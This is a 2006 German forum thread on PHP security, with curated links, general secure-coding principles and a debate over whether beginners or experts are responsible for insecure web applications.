# Sicherheit in PHP



## Dennis Wronka (5. April 2006)

Wofuer ist dieser Thread gedacht:

Sicherheitstipps
Also Links zum Thema eigene Ideen, Erfahrungen mit bestimmten Methoden, etc.
Diskussion ueber eben diese Tipps
Es kann ja durchaus mal sein, dass hier jemand Kaese postet der sich nicht als sicher herausstellt.
Beispiele
Damit meine ich z.B. ein Beispiel der Art "So sieht's haeufig aus - und so sollte es aussehen".

Wofuer ist dieser Thread nicht gedacht:

Fragen ob ein Script sicher ist
Wir wollen hier eher allgemein zum Thema Sicherheit in PHP diskutieren und nicht auf spezielle Scripts eingehen. Natuerlich wollen wir hier auch Code-Beispiele sehen, aber eben nicht, dass jemand sein Script (oder einen Ausschnitt) postet und fragt ob der Code sicher ist.
Auch wenn es mir absolut widerstrebt, in diesem Thread sind zum Teil "schlimme Codes" (z.B. fopen() mit URLs) erlaubt. Hier wollen wir dafuer sorgen, dass diese sicher funktionieren, auch wenn sie nicht ueberall funktionieren weil in der php.ini bestimmte Einstellungen vorgenommen werden koennen.
Wir muessen hier im Grunde von der schlechtmoeglichsten PHP-Konfiguration ausgehen und darauf aufbauen.

Falls sich hier Tipps als absolut untauglich herausstellen werden diese entweder entsprechend markiert oder unter Umstaenden auch entfernt.

Links duerfen sowohl auf deutsche als auch auf englische Texte verweisen.

Hinweise/Aenderungsvorschlaege zu diesem Post bitte per PN an mich.


----------



## Dennis Wronka (5. April 2006)

So, nun mal zum Thema. Vor einer Weile wurden in einem Thread schonmal ein paar Links zum Thema PHP & Security gepostet. Diese habe ich mir natuerlich erstmal alle in die Bookmark-Liste eingenaeht und werde jetzt somit einfach mal richtig gut einen ablassen... 
Wenn ich mich recht erinnere wurde ein nicht unbetraechtlicher Teil dieser Links "damals" (naja, so lang ist's eigentlich noch garnicht her) von Gumbo und SilentWarrior gepostet, und halt auch ein paar von mir. Falls ich bei meiner Dankesrede (ja, ich akzeptiere den Oscar fuer das mieseste Stummfilm-Drehbuch aller Zeiten  ) noch jemanden vergessen haben sollte, bitte hier beschweren oder fuer immer schweigen (Amen).

So, los geht's...
Web Application Security
Top7 PHP Security Blunders
PHP Foundations

Und dann gibt's natuerlich noch den Abschnitt ueber Security in der PHP-Doku


----------



## Number5 (17. April 2006)

Würde es auch noch was Deutsches geben?
Nicht das ich kein Englisch kann, aber Deutsch ist einfach angenehmer


----------



## Irgendjemand_1 (29. April 2006)

Man könnte ja auch eine speziell auf Sicherheit ausgelegte php.ini hier posten.


----------



## NomadSoul (5. Juni 2006)

Auch sehr nützlich:
http://www.hardened-php.net/


----------



## Dennis Wronka (5. Juni 2006)

NomadSoul hat gesagt.:
			
		

> Auch sehr nützlich:
> http://www.hardened-php.net/


Richtig, leider nur fuer Leute mit Root-Server oder PHP daheim. Im Internet wird man dies wohl leider noch nicht so haeufig antreffen.


----------



## Christian Fein (12. Juni 2006)

Sicherheit allgemeint (nicht nur auf PHP bezogen):

a) Daten sind fies und wollen dich aufs Kreuz legen
Sämtliche Daten wollen geprüft werden. Und nicht nur jene die direkt vom Benutzer kommen. Denn auch andere Komponenten wie Datenbanken (oder die Daten darin) können kompromitiert werden und dir Lücken in das System reissen.

b) Sauberer lesbarer Programmcode hilft ungemein
Code der superkryptisch ist und mit dem man selbst gestandene Perl entwickler zur Verzweiflung bringt sind witzig und macht spass zu entwickeln. In einem Projekt das aber nicht nur zur Belustigung dient haben solche Codeteile nichts zu suchen. 
Halte deinen Code einfach - verständlich und überschaubarer. Denn nur dann hast du die Möglichkeiten eventuelle Sicherheitsmängel zu entdecken.

c) Nimm dir Zeit Dinge nachzulesen.
Oft les ich das im Forum: "mach chmod 777 datei, dann funktioniert dein Code". Und jenen die solchen Rat geben gehöhrt das 5kg Unix Handbuch um die Ohren geschlagen.
RTFM (Read the *fine* manual) ist nicht immer ein schneller Rat um jemand abzuwimmeln.  Manchmal ist das der einzig richtige Rat. Und in diesem Beispiel bedeutet es auch das der PHP (Perl,Python, wasweissich) Programmierer der seine Werke auf Unix/Linux laufen sehen will sich damit auseinandersetzen muss.
Gerade ein PHP Programmierer sollte dies tun, da PHP sehr stark mit Apache und Apache mit Linux/Unix verheiratet ist. 
Aber nicht nur das Betriebssystem will verstanden werden. Auch Funktionen / Klassen. Und damit ist nicht nur wichtig was die Funktion offensichtlich macht. Sondern auch was eine Funktion nicht macht. 
Sprich was gibt die Funktion zurück wenn etwas nicht klappt (was macht meine UrlConnection Funktion wenn der Host nicht erreichbar ist). 
Nur wenn mann mögliche Probleme kennt kann mann diese behandeln und berücksichtigen.

d) Rechne immer mit dem schlimsten
Datenbanken sind nicht immer erreichbar. Die Festplatte ist sogar bei einem Hoster wenn was schiefgeht voll. Andere Programme auf dem Server können sich mal eben 99,99% Rechenzeit schnappen (Nicht nur Du und ich machen Fehler). Was ist denn aber wenn der Kunde in meinem Onlineshop seine Ware bestellt hat, der automatische Abbuchungsvorgang schon gestartet hat aber kurz bevor die Bestellungsdaten der Versandabteilung zur Verfügung  gestellt wird der Server abstürzt?
Rechne auch damit, auch wenn es wohl nicht passieren wird, kann es dennoch passieren. 


e) Logging ist nicht nervig sondern wichtig
Naja ok nervig ists zwar auch, was aber die Wichtigkeit nicht einschränkt. Ich nehm Bezug auf mein Beispiel Onlineshop von d). 
Der dort geschilderten Fehler wird mann nicht finden. Ausser mann hat ein sauberes Logging implementiert. 
Wenn sich ein Benutzer mit falschem Passwort anmeldet, muss das geloggt werden. Wenn jemand sein Passwort ändert muss das mitgeloggt werden (aber hey, dem Benutzer sein Passwort gehöhrt nicht in Klartext ins Logfile  ). 
Nicht erreichbare Verbindungen zu Gott und die Welt müssen geloggt werden.

f) Trau dich auch mal 2-3 Tage wegzuwerfen
Ich programmiere seid vielen Jahren, und dennoch produziere ich mal wieder Code der den Anforderungen nicht gerecht wird. Entweder Fremdverschulden (unklare Anforderrungen seitens der Kunden, Projektmanager) oder aber weil mann Dinge nicht richtig aufgefasst hat, oder aber mal schlechte Tage hatte und unkonzentriert war.
Auch Programmierer sind Menschen und machen Fehler. Wenn uns auffällt das wir einen gemacht haben sollten wir Mann (und Frau ) genug sein auch mal damit zu leben grössere Codeteile komplett neu zu schreiben.
Der falsche Weg ist wenn mann mit Biegen und Brechen am Code rumfrickelt um den so anzupassen das er irgendwie doch funktioniert.
Denn in diesem Moment ist der Code: schwer wartbar und instabil. 
Das sind Eigenschaften die Sicherheitslücken hervorrufen.

g) Programmiere nach den Anforderrungen und nicht nach den persöhnlichen Vorlieben
Es gibt für Programmierer nichts schöneres als die neuste Bleeding Edge Technologie auszuprobieren. Was Pre Alpha Version 0.14? Ach egal läuft - *Finger auf die Tastartur hau*
Ich mach das auch gern. In einem Projekt das aber die eigenen 4 Wände verlässt hat es nichts zu suchen wenn es auch andere Technologien gibt die die Anforderrungen gleichwertig erfüllen und dabei auch schon eine stabile Version und allgemeine Freigabe haben.

h) Stabil = sicherer, Unstabil = unsicherer
Eigentlich nochmal eine Wiederholung dessen was ich in den Punkten zuvor gepredigt habe. Systeme sind wackelig, berücksichtige es. Nur ein stabiler Code der alle Probleme die erkennbar sein können berücksichtig kann sicherer Code werden.

i) Planungen und Diagramme sind schön, aber sie sind nicht in Stein gemeisselt
Anforderrungen ändern sich. Planungen waren zu abstrakt und stellen sich falsch heraus.
Eine sauberes UML Diagramm lebt nicht davon alles und jedes im Vorneherein bedacht zu haben (das ist geradezu unmöglich, denn die Anforderrungen ändern sich nur zu gern), sondern es lebt von der Kommunikation der beteiligten Personen. Jenen die diese Diagramme aufsetzen und jenen die sie umsetzen. 
Denn auch hier gilt: Setzt mann Planungen um die sich als nicht optimal heraustellen dann frickelt mann auch hier im Code herum nur um quadratisch gezeichnete Vorgaben 
einzuhalten. Es resultiert: schlecht wartbarer und unstabiler Code.

j) Informier dich über Sicherheitslücken
Nicht nur das Offensichtliche (der PHP Interpreter) sondern auch weniger offensichtliche Sicherheitslücken ( IIS, Apache, Datenbank, Netzwerkdienste und weiss der Geier was noch) sind vom Interesse.
Lese auch über Ratschläge anderer betreffend Dinge die zu beachten sind bei der programmierung in der Sprache XYZ

k)  ...und handel dementsprechen
Lücke PHP Interpreter? Updaten auch wenn das bedeutet das mann viel Arbeit hat um seinen Code an die neue Version anzupassen.
Der Rat Register Globals = off? Ein guter Rat der oft Arbeit nach sich zieht. Arbeit die unbeliebt ist denn nach aussen hin entwickelt sich das Projekt nicht weiter, aber der Sicherheit will genüge getan werden.

l) Lerne! 
Ich bin immer am lernen. Auch wenn in meinem Profil Senior Entwickler steht heisst das noch lange nicht das ich mich auf die faule Haut legen kann.
Schau über den Tellerrand, selbst wenn das bedeutet sich mit dem "Feind" einzulassen. 
So sollte jeder Java Programmierer sich auch .net anschaun, aber auch Python vielleicht Smalltalk oder gar Lisp.
Ein PHP Programmierer sollte sich auch C++ anschauen, mal anstatt MySQL einmal PostgreSQL nutzen oder gar Ruby lernen.
Was hat das mit Sicherheit zu tun? Eine ganze Menge. Mann lernt wie andere Technologien mit jenen Problemen wie Stabilität umgehen bzw können andere Sprachen auch im Umgang mit der eigenen Sprache viel beibringen. 
So kann  die erfahrung checked exceptions  (das gezwungende Ausnahmen behandeln in Java ) den PHP Programmierer hellfen in seinem PHP Code an die Exceptions zu denken. Eine stabile Art der Programmierung auch ohne zwang vom Compiler auf seine Sprache zu transferieren.

m) ein bischen Paranoia schadet nie 
lass ich mal unkommentiert stehen.


----------



## Dennis Wronka (13. Juni 2006)

Sehr guter Beitrag Chris. 
Ich hoffe einige User werden ihn aufmerksam lesen und sich auch an Deine Ratschlaege halten.


----------



## dtdesign (17. Juni 2006)

Ich habe nach dem Reinstall meines Servers mich dafür entschieden, suPHP zu installieren, das sicherstellt, dass ein Skript mit den Rechten den Users ausgeführt wird (optional auch mit chroot).


Anleitung zur Installation von suPHP für PHP4 und PHP5
Webseite von suPHP


----------



## Dennis Wronka (20. Juni 2006)

suPHP ist auch eine nette Sache.
Ich wuerd mir wirklich wuenschen wenn Hoster es mal auf die Reihe kriegen wuerden suPHP und moeglichst auch HardenedPHP einzusetzen.

Ich hab heute auch mal wieder was, und zwar wieder was englisches:
PHP and the OWASP Top Ten Security Vulnerabilities


----------



## redX (5. Juli 2006)

Das PHP Security Consortium hat noch einige gute Aspekte. Ich habe jetzt noch nicht alles durchgelesen. Aber das was ich fand hat mir mal gut gefallen. Es gibt die Texte als PDF und in HTML und in verschiedenen Sprachen. Leider nicht auf Deutsch. 

PHP Security Consortium: Projects

MFG
X


----------



## Lukasz (14. Juli 2006)

Hallo Liebe User /  Mods und Admins


Ich möchte zu diesem Tehma auch Stellung nehmen. Denn ich sehe es ganz anders, soll aber nicht als widerständig aufgenommen werden.

Wie der Titel des Themas predigt „Sicherheit in PHP“ kann es nie und nimmer geben. Und das wird es auch nie geben! Und man kann es auch nicht durch Aufmerksamkeit oder Achtsamkeit verhindern. Man kann es nur beschränken!

Der Hase liegt ganz wo anders begraben. Und das weis jeder für sich, der nur 3 Zeilen Code und sich schon mal ein Virus eingefangen hat. Man schreibt dem unerfahrenen Volk vor, sein PC ständig upzudaten, Firewall und Antivirus zu betreiben, E-Mailanhänge bestens nicht zu öffnen und noch vieles mehr, um Sicherheit zu erlangen, die es nie gibt und auch nie geben wird. 

Ich lese immer wieder von Diplom getitelten Menschen (hoch gebildet) dass der PC mit Internetanbindung zur Sicherheit gebracht werden kann. Ich frage mich immer wieder, wie Menschen mit solcher Erfahrung so was behaupten können? Selbst eine bekannte Computerzeitschrift Titelt auf der Startseite Antivir 2006 erkennt 100% der Viren! ? Ich soll also 5 Jahre Betriebsysteme studieren, PHP im Modul selbst studieren, weis sonst noch was, um sicher 3 Zeilen Code zu tippen? Schöne Welt aber so ist sie. Und trotzdem gibt es Tools die Passwörter angeblich sicher aufbewahren können, sie jedoch wieder ausgeben können. Das Volk wird wieder vergackeiert. 

Jedes Passwort hat auf einem PC nichts verloren. Denn alles was wieder ausgegeben wird, kann auch ausgenutzt werden. Nur wie soll das funktionieren, wenn die Verbindung zu Mysql Datenbank schon eins fordert? Und genau hier fängt die Unsicherheit an. Nur man schiebt sie immer auf das Volk, das eigentlich nur das verdaut, wofür sie unschuldig getitelt werden. Wer kann was dafür, dass PHP in der Fehlermeldung beispielsweise bei file_get_contents() und nicht Erreichbarkeit auch die URL mit ggf. per GET übergebenen Passwort ausgibt, nur weil der User ein @ nicht vor setzt. Würde die Fehlermeldung nicht ohne Get Parameter oder gar URL ausreichen? Und wieder wird das kleine Volk für die Fehler der schlauen verurteilt. 

Die Lücken die genutzt wurden, sind von unseren Fachleuten nicht bedacht worden. Und selbst die können diese nicht bedenken. 

Also ich lehne mich nicht auf. Sicherheit ist dennoch überwichtig. Aber die Beiträge klingen einfach nach „Faulheit“ der User. Ich progge auch schon mehrere Jahre, und bin mir dessen Problem bewusst. Nur die schuldigen sitzen meist auf der anderen Seite mit zig Jahren Erfahrung und urteilen über die unerfahrenen, und schieben einfach ihre eigenen Fehler weiter. Informiert wird dann wirklich nur in englisch zu 90% und in für Anfänger unverständlicher Fachsprache. 

Wie soll der Peter aus der Auguststrasse nun sein System schützen? – Er wollte nur ein Gästebuch auf seiner Webseite haben, und hat jetzt ein Verfahren am Hals, wofür er nichts kann. Er hat doch alles so getan wie es in der Installationsanleitung steht, fragt er sich hinterher. Und der progger des Gästebuchs behauptet, er habe sein GB nicht upgedatet, und sei deshalb an allem selbst schuld und untauglich.

Auch aus diesen doch wenn auch sehr hilfreichen Thema lese ich heraus, dass man schon studieren und zig Stunden Aufwand für eine Hobby HP aufbringen sollte (übertrieben gemeint) bevor man überhaupt eine Zeile Code eingeben kann. Und auf Xampp steht so ungefähr „Werbung: hol dir das Produkt – So installierst du es“ fertig. Die Readme ist dann oft in englisch und für einen normalen (oder gebildeten Menschen in eine andere Richtung) überhaupt nicht zu raffen. Mir und allen die erfahren sind, ging es am Anfang nicht anders. Ein Programmierer macht eben die Erfahrung reich, nicht was er kann oder meint zu können. 

Würde man dem Otto Normal Verbrauche klar machen, dass selbst das ganze sein System vor gar nichts schützt, würde der zumindest die richtige Haltung einnehmen. Stattdessen entmutigt man ihn (wie genannt FAQ in engl. Update nur mit Fachwissen möglich etc…) und macht ihn für alles selbst verantwortlich. 

Über Windows wird in Linux Kreisen gelästert, aber Linux ist auch nicht sicher. Und auch der Firefox wird sicher geredet, wo auch schon unzählig Lücken gab. Genau das wird hier mittels Propaganda verlautet, und genau deshalb ist sich kein Anfänger bewusst, wie er nachzudenken hat.

Viel mehr sollte man die Wahrheit weitergeben. Dein Mysql PW ist der Datei könnte jederzeit ausgelesen werden. Dann würde der unerfahrene ein Thema aufmachen „wie mach ich es sicher“? 

Ist meine Meinung zu diesem Thema!


Mein Tipp an die Anfänger: Es ist überhaupt nichts sicher! Deshalb schaut danach, es so sicher wie nur möglich zu machen. ein unset() nach der Verbindung der DB besipielweise.... Habt ständig Angst um eure Passwörter und Daten, die wenn sie ein anderer lesen könnte euch Schaden zufügen!

Viel eher erkläre ich alle Anfängern, Sicherheit ist ein Wettlauf der nie aufhört. Je schneller du mitläufst desto sicherer aber keinesfalls Sicher ist man. Das war also für keinen so ausgelegt, dass er sich nicht bilden sollte. Bildung ist daher sehr wichtig. Aber kein Anfänger soll sich frustriert sehen. Die Fehler macht jeder mal. Und aus den eigenen Fehlern lernt man am besten. Aber die Hauptschuldigen in der ganzen Sachen sind zu 90% die gebildeten, die sich ihre eigenen Fehler nicht gestehen können! Und da zähle ich mich auch dazu!

Wer also den Weg erkennt, wie der Hase wirklich läuft, der Vertraut nicht nur auf den nächsten, sondern macht auch endlich sein eigenen Kopf dafür auf. So wie das von Erfahrenären dargelegt wird, oder ausgeschildert steht, würde es eigentlich nur noch mehr zu Sicherheitsproblemen führen. Oder das Volk und damit die Bildung demotivieren.

Mit meiner stolzen englischen Readme tue ich keinem was gut.  Und das muss ich mir als Erfahrener eingestehen. Nur weil ich es mittlerweile verstehe, muss ein anderer dies noch lange nicht, und scheitert, obwohl er wirklich für ihn alles Mögliche getan hat, und ernstens Versucht hat alles richtig zu machen. Genau das will ich ansprechen. Wir sind uns zu stolz, deshalb herrsch Unsicherheit. Nur so vererben wir nicht Wissen sondern Ahnungslosigkeit und die wirklich guten Nachfolger bleiben aus. Und alles wir unsicherer wie es nicht sein sollte.


----------



## Dennis Wronka (15. Juli 2006)

Hi, Lukasz. Ich kann Deine Einwaende durchaus nachvollziehen und stimme Dir absolut zu, dass es nie 100%ige Sicherheit (ausser dem guten, alten Beispiel aus Orange (?) Book mit dem unvernetzten Computer im Glaskasten der weder per Maus noch Tastatur bedient werden kann  ) geben kann. In diesem Thread sollen jedoch Hinweise oder Artikel gepostet werden die einem auf dem Weg zur "optimalen" Sicherheit helfen sollen.
Auch wollen wir ja hier versuchen Codeschnipsel zu zeigen die tendenziell unsicher sind und dem dann das potenziell sicherere Script gegenueberstellen.
Das ist leider bisher nicht geschehen, aber wir haben hier halt schon einige interessante Links sammeln koennen.
Die meisten Artikel sind Englisch, das liegt zum einen daran, dass Englisch die Sprache des Internet ist, zum anderen aber auch, dass ich hauptsaechlich auf englischen Seiten unterwegs bin. Das Problem ist auch, dass solche Informationen wohl eher schwer auf Deutsch zu finden sind. Woran das liegt kann man nur spekulieren: Ignoranz deutscher PHP-Scripter gegenueber Security? Schreibfaulheit?
Daher find ich es besser einen Haufen englischer Artikel hier aufzulisten als garnicht, denn dadurch verliert der Thread absolut seinen Sinn.
Es geht mir bei den englischen Artikeln also keineswegs darum hier zu beweisen wie toll ich doch des Englischen maechtig bin. Hier hat niemand was zu beweisen, wir wollen hier einander helfen.
Hier auch niemand den grossen Macker in Sachen Security raushaengen lassen, nur wenn jemand in dem Bereich Erfahrung hat, wie z.B. Christian, ist es doch gerade gut wenn sich so einer auch mal Umfangreich zu Wort meldet und auf diverse Punkte aufmerksam macht.
Hier spricht auch niemand davon, dass Linux (oder Firefox) die ultimative Sicherheitsloesung gegenueber Windows (oder eben Internet Explorer) ist. Jedoch sind diese durchaus tendenziell sicherer weil eben Windows (oder Internet Explorer) in der Standardkonfiguration ein groessere Angriffsflaeche bieten als Linux (oder Firefox). Aber es geht hier auch nicht um die Frage ob nun Windows oder Linux, Internet Explorer oder Firefox, hier geht es um PHP, und darum wie man diversen Sicherheitsproblemen aus dem Weg gehen kann.
Und mal ganz ehrlich, was meinst Du denn wie viele Anfaenger ueberhaupt in diesen Thread gucken? Das werden sicher nicht all zu viele sein, denn die meisten die hierher kommen wollen schnelle Hilfe um ihr Script fertig zu bekommen, dabei ist den meisten Sicherheit erstmal unwichtig. User die sich dann laenger damit befassen fangen sich dann langsam mal an sich dafuer zu interessieren. Und Anfaengern wird hier oft genug auch mal der Hinweis praesentiert, dass der Code den sie da zusammenkloeppeln dieses oder jenes Problem bietet.

Also, wie gesagt, hier geht es nicht darum taeglich unsere Profilierungssucht zu befriedigen sondern darum anderen zu helfen.
Und wer heutzutage kein Englisch kann ist meiner Meinung nach selbst Schuld (es gibt da natuerlich auch ein paar Ausnahmen, aber diese sind eben nicht die Regel). Ich meine dabei jetzt nicht die Generation meiner Eltern, dass dort weniger Englisch unterrichtet wurde ist mir klar, aber alles ab meiner Generation hat keine Ausrede. Natuerlich gibt es auch Leute die allgemein Probleme mit Sprachen haben und auch unterdurchschnittlich intelligente Menschen, aber wenn man davon ausgeht wie miserabel Deutschland Englisch spricht, dann muessten wohl 2/3 aller deutschen Schulen Sonderschulen sein. ;-]
Und Fachbegriffe gibt es ueberall. Wenn ich jetzt mal eine Woche Praktikum beim Blumenhaendler machen wuerde dann wuerde ich nach der Woche mit Sicherheit mindestens 10 neue Begriffe kennen.

So, es waere schoen wenn es das fuer diese Diskussion gewesen ist. Falls dennoch Bedarf zu weiteren Meinungsaeusserungen besteht bin ich gern bereit die entsprechenden Posts aus dem Thread zu trennen und einen neuen Thread daraus zu machen.


----------



## Christian Fein (15. Juli 2006)

Lukasz hat gesagt.:
			
		

> Wie der Titel des Themas predigt „Sicherheit in PHP“ kann es nie und nimmer geben. Und das wird es auch nie geben! Und man kann es auch nicht durch Aufmerksamkeit oder Achtsamkeit verhindern. Man kann es nur beschränken!



Ja, aber obwohl der Airbag keinen 100% igen Schutz vor dem Verkehrstot bietet, ist er dennoch für mich ein Kaufargument bei einem Auto.



> Der Hase liegt ganz wo anders begraben. Und das weis jeder für sich, der nur 3 Zeilen Code und sich schon mal ein Virus eingefangen hat. Man schreibt dem unerfahrenen Volk vor, sein PC ständig upzudaten, Firewall und Antivirus zu betreiben, E-Mailanhänge bestens nicht zu öffnen und noch vieles mehr, um Sicherheit zu erlangen, die es nie gibt und auch nie geben wird.



Sicherheit ist immer dem Zustand der kompletten Sicherheit so nah wie möglich zu kommen.



> Ich soll also 5 Jahre Betriebsysteme studieren, PHP im Modul selbst studieren, weis sonst noch was, um sicher 3 Zeilen Code zu tippen? Schöne Welt aber so ist sie. Und trotzdem gibt es Tools die Passwörter angeblich sicher aufbewahren können, sie jedoch wieder ausgeben können. Das Volk wird wieder vergackeiert.



Ja es wird viel Geld mit angeblicher Sicherheit gemacht. Im Grunde aber ist die IT-Sicherheit nicht die Summe an Tools sondern ein sicherheitsbewusster Umgang mit 
dem Rechner, an die Situation angepasst.



> Jedes Passwort hat auf einem PC nichts verloren. Denn alles was wieder ausgegeben wird, kann auch ausgenutzt werden.



Das stimmt so nicht. Es gibt unkritische und kritische Passwörter. Ich habe z.b ein sehr einfaches Standardpasswort das keinen Regeln wie [Gross und Kleinschriebung verschieden- nicht zusammenhängende Wörter usw] entspricht.
Dieses Passwort nutze ich wenn ich mich auf Seite bzw Forum XYZ anmelde. 
Genauso nutze ich dieses Passwort auf meinen lokalen Datenbanken. 
Andere Passwörter die sehr komplex sind in der Form XaG4k2z9haff habe ich dafür für kritische Dinge.



> Nur wie soll das funktionieren, wenn die Verbindung zu Mysql Datenbank schon eins fordert? Und genau hier fängt die Unsicherheit an.



Es spricht nichts dagegen wenn du ein Passwort auf der Platte speicherst.
Denke einfach daran das dein MySQL Passwort zu einem MySQL User gehört der nur die nötigsten Rechte hat. Das Passwort nicht von aussen aufrufbar ist. Mann eben kein "chmod 777 config.php" aus Faulheit / Unwissen absetzt.
Sicherheit ist die Summe von Wissen / Verantwortungsvolles Verhalten.



> Nur man schiebt sie immer auf das Volk, das eigentlich nur das verdaut, wofür sie unschuldig getitelt werden. Wer kann was dafür, dass PHP in der Fehlermeldung beispielsweise bei file_get_contents() und nicht Erreichbarkeit auch die URL mit ggf. per GET übergebenen Passwort ausgibt, nur weil der User ein @ nicht vor setzt.



@ sollte sowieso nicht eingesetzt werden. Ein Fehler ist ein Fehler und sollte nicht einfach ignoriert werden. PHP kann Exceptions abfangen, wenn mann denn schon weiss
das hier ein Fehler passieren kann sollte man die Möglichkeit auch berücksichtigen und nicht einfach unterdrücken.

Auf einem Produktivsystem sollte: display-errors auf 0 gesetzt sein.
http://de3.php.net/manual/en/ref.errorfunc.php#ini.display-errors 
Dann gibt es auch keine Probleme mit Fehlerbehandlung übersehen.



> Würde die Fehlermeldung nicht ohne Get Parameter oder gar URL ausreichen? Und wieder wird das kleine Volk für die Fehler der schlauen verurteilt.



Nein hier ist das kleine Volk schuldig wenn die Konfiguration eines Produktivsystems Fehlermeldungen darstellt. Denn das "kleine Volk" kann entweder unter diesem Flag (display-errors) 0 setzen oder seinem Hoster auf das Dach steigen das die das machen.



> Die Lücken die genutzt wurden, sind von unseren Fachleuten nicht bedacht worden. Und selbst die können diese nicht bedenken.


was gefällt dir an display-errors nicht?



> Also ich lehne mich nicht auf. Sicherheit ist dennoch überwichtig. Aber die Beiträge klingen einfach nach „Faulheit“ der User. Ich progge auch schon mehrere Jahre, und bin mir dessen Problem bewusst. Nur die schuldigen sitzen meist auf der anderen Seite mit zig Jahren Erfahrung und urteilen über die unerfahrenen, und schieben einfach ihre eigenen Fehler weiter. Informiert wird dann wirklich nur in englisch zu 90% und in für Anfänger unverständlicher Fachsprache.



Software entwicklung ist ein Fachgebiet. Ähnlich wie Ingeneurswesen. Ich werde kein Haus entwerfen und dann bauen weil ich davon keine Ahnung habe.
Will ich das ändern, dann muss ich etwas dafür tun. Genauso wenig ist Programmieren kein Gebiet das man ohne sich ständig zu informieren meistern kann. 
Die Syntax einer Sprache zu kennen ist nicht die halbe Miete beim Wissen, sondern maximal 5% dessen was man wissen sollte.



> Wie soll der Peter aus der Auguststrasse nun sein System schützen? – Er wollte nur ein Gästebuch auf seiner Webseite haben, und hat jetzt ein Verfahren am Hals, wofür er nichts kann. Er hat doch alles so getan wie es in der Installationsanleitung steht, fragt er sich hinterher. Und der progger des Gästebuchs behauptet, er habe sein GB nicht upgedatet, und sei deshalb an allem selbst schuld und untauglich.



Peter aus der Auguststrasse hätte eine Firma beauftragen sollen wenn er das Wissen nicht hat. Wenn ich im Haus Kabel verlegen will, dann lass ich einen Elektriker kommen oder einen Freund der Ahnung davon hat. Der Grund ist einfach: ich habe nicht den blassesten Schimmer.
Und ich wette mit dir  er kommt (aufgrund der Menge an IT Studenten) billiger weg als wenn er einen Elektriker zahlen müsste.
Will er es selber machen, so muss er sich umfassend informieren und tips auch beherzigen. "Works for me!" reicht nicht aus.



> Auch aus diesen doch wenn auch sehr hilfreichen Thema lese ich heraus, dass man schon studieren und zig Stunden Aufwand für eine Hobby HP aufbringen sollte (übertrieben gemeint) bevor man überhaupt eine Zeile Code eingeben kann



Zig Stunden Aufwand sollte mann wirklich aufbringen bevor man seine Hobby HP programmiert. Das ist vollkommen richtig.
Genauso wie ich zig Stunden Aufwand hätte würde ich im Haus die ganze Verkabelung selber machen. Ich müsste mich genauso darum kümmern das ich mir das Wissen um Sicherheit aneigne das Kinder die zu besuch sind nicht beim langen in eine Ecke einen Schlag bekommen. Passiert das weil ich keine Ahnung von Elektrik hatte, und ein Kind deshalb stirbt, nur weil ich nicht bereit war es machen zu lassen, dann habe ich zurecht ein Verfahren am Hals.



> . Und auf Xampp steht so ungefähr „Werbung: hol dir das Produkt – So installierst du es“ fertig. Die Readme ist dann oft in englisch und für einen normalen (oder gebildeten Menschen in eine andere Richtung) überhaupt nicht zu raffen.



Es gibt da draussen fantastische Bücher in Deutsch! Es gibt sogar einige kostenlose Bücher in deutsch.
Genügend Material um sich das Wissen anzueignen. Mann benötigt kein Diplom um saubere Software zu schreiben sondern nur den Antrieb und die Zeit sich das Wissen anzueignen.



> Mir und allen die erfahren sind, ging es am Anfang nicht anders. Ein Programmierer macht eben die Erfahrung reich, nicht was er kann oder meint zu können.



Das ist richtig. Erfahrung ist der beste Weg um stabile und sichere Software zu programmieren. Aber man kann sich die Erfahrung im Bereich Sicherheit erst dann aneignen wenn man sie von Anfang an lernt.
Das bedeutet lernt man gerade wie man in PHP Dateien öffnet und ausliest sollte man genau in dem Moment auch lernen wie man damit umgeht wenn Dateien nicht gefunden werden, Dateien Korrupt sind usw.
Das bedeutet Programmieren lernen heisst nicht nur zu lernen wie welche Funktionen aufgerufen werden, sondern wie der Code Strukturiert wird das jenes Programm auch mit erwartbaren Fehler umgehen kann.
Leider bietet PHP hier @ an, was für viele Progammieranfänger ein kurzes merkbares Statement ist um sich nicht mehr damit beschäftigen zu müssen. 



> Über Windows wird in Linux Kreisen gelästert, aber Linux ist auch nicht sicher. Und auch der Firefox wird sicher geredet, wo auch schon unzählig Lücken gab. Genau das wird hier mittels Propaganda verlautet, und genau deshalb ist sich kein Anfänger bewusst, wie er nachzudenken hat.



Linux ist nicht per default sicher. Aber Sicherheit ist kein Zustand sondern die Summe vieler Faktoren. Ich habe erst letzte Woche versucht auf meinem Windows Rechner MS Flugsimulator 2004 zu installieren. Ich habe die Installation abgebrochen als die Meldung kam das ich jene Software nur mit einem Administrator Accaunt starten kann.
Mann wird keine RedHat Software finden die nur mit root Accaunt gestartet werden kann und um das es sich um etwas ähnlich wie ein Spiel handelt.
Es findet zwar zum Glück ein umdenken bei MS statt (aufgrund der massiven negativen Nachrichten über Windows Würmer usw) aber MS hat das Problem das sie ein Betriebssystem welches vom Konzept her unsicher ist auf Sicherheit trimmen müssen.
Bei Windows kommt vieles in die Quere:
- Homogene Softwarelandschaft (IE, OE)
- Ursprung in einem System ohne Userverwaltung (Dos, win 3.11, win95..)
- Vorrangiges Einsatzgebiet Spiele & Multimedia / Desktop
- Den Anspruch komplexe Dinge einfach zu machen
- Riesige Verbreitung

Linux hat es einfacher sicher zu sein. Seine Wurzeln liegen bei UNIX, einem Server Betriebssystem welches Sicherheit seid Jahrzehnten propagiert als es bei CM/P bzw DOS nichtmal eine Userverwaltung und Dateiberechtigungen gab.
aber das ist eigentlich ein anderes Thema ...



> Viel mehr sollte man die Wahrheit weitergeben. Dein Mysql PW ist der Datei könnte jederzeit ausgelesen werden. Dann würde der unerfahrene ein Thema aufmachen „wie mach ich es sicher“?



ich mach dir ein Vorschlag. Wenn du im PHP Forum ein Thread siehst in dem nach XY gefragt wird, und sich unsicherer Code zeigt. Dann mach ihn nicht nur auf die Lösung XY aufmerksam sondern stubse seine Nase auch auf die Schwachstelle.



> Mein Tipp an die Anfänger: Es ist überhaupt nichts sicher! Deshalb schaut danach, es so sicher wie nur möglich zu machen. ein unset() nach der Verbindung der DB besipielweise.... Habt ständig Angst um eure Passwörter und Daten, die wenn sie ein anderer lesen könnte euch Schaden zufügen!



Wie ich schon im anderen Post sagte: Paranoia schadet nicht 



